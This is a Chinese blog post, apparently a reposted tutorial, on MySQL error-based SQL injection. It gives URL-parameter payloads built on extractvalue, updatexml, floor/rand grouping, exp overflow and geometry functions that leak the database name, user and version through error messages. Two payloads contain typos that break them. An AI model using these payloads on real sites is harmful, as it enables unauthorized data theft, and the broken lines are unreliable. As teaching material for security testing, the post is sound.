首页 > 数据库技术 > 详细

MYSQL报错注入

时间:2021-09-01 19:12:00      阅读:21      评论:0      收藏:0      [点我收藏+]

  函数extractvalue(参数1,参数2)

  使用条件:mysql版本5.1以上 有长度限制32位

  参数1:XML文档,参数2:XPAT语句

  用法: extractvalue(1,concat(0x7e,(select user()),0x7e))

  ?id=1‘ and extractvalue(1,concat(0x7e,(select database()),0x7e)) -- -

技术分享图片

 

  

  函数:updatexml(参数1,参数2,参数3)

  参数1:xml文档对象名称,参数2:xpath格式字符串,参数3:string格式替换查找到的符合条件数据

  使用条件:5.1.5及以上版本  有长度限制32位

  ?id=1‘ and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- -

技术分享图片

 

 

  函数:floor()

  利用floor、count、group by三者起冲突导致报错,使用 三者不可缺一

  使用条件:mysql 5.0及以上版本

  floor() 取整数

  rand() 在[0,1]产生一个随机数

  rand(0)*2  取0到2的随机数

  and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_sschema.tables group by x) y)

  ?id=1‘ and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x) y)-- -

技术分享图片  

  其他注入

  函数:exp()整形溢出报错注入

  条件:mysql 5.5.5及以上版本

 

 

  and exp(~(select * from (select user()) a))

  几何报错注入

  geometrycollection()、multipoint()、polygon()、multipolygon()、linestring()、multilinestring()

  说明:函数对参数要求形如(12,33,221)这样几何数据,如果不满足要求,则报错

  select multipoint((select * from (select * from (select from(select version())a)b)c))

  

MYSQL报错注入

原文:https://www.cnblogs.com/PatrickStar88888888/p/15212432.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!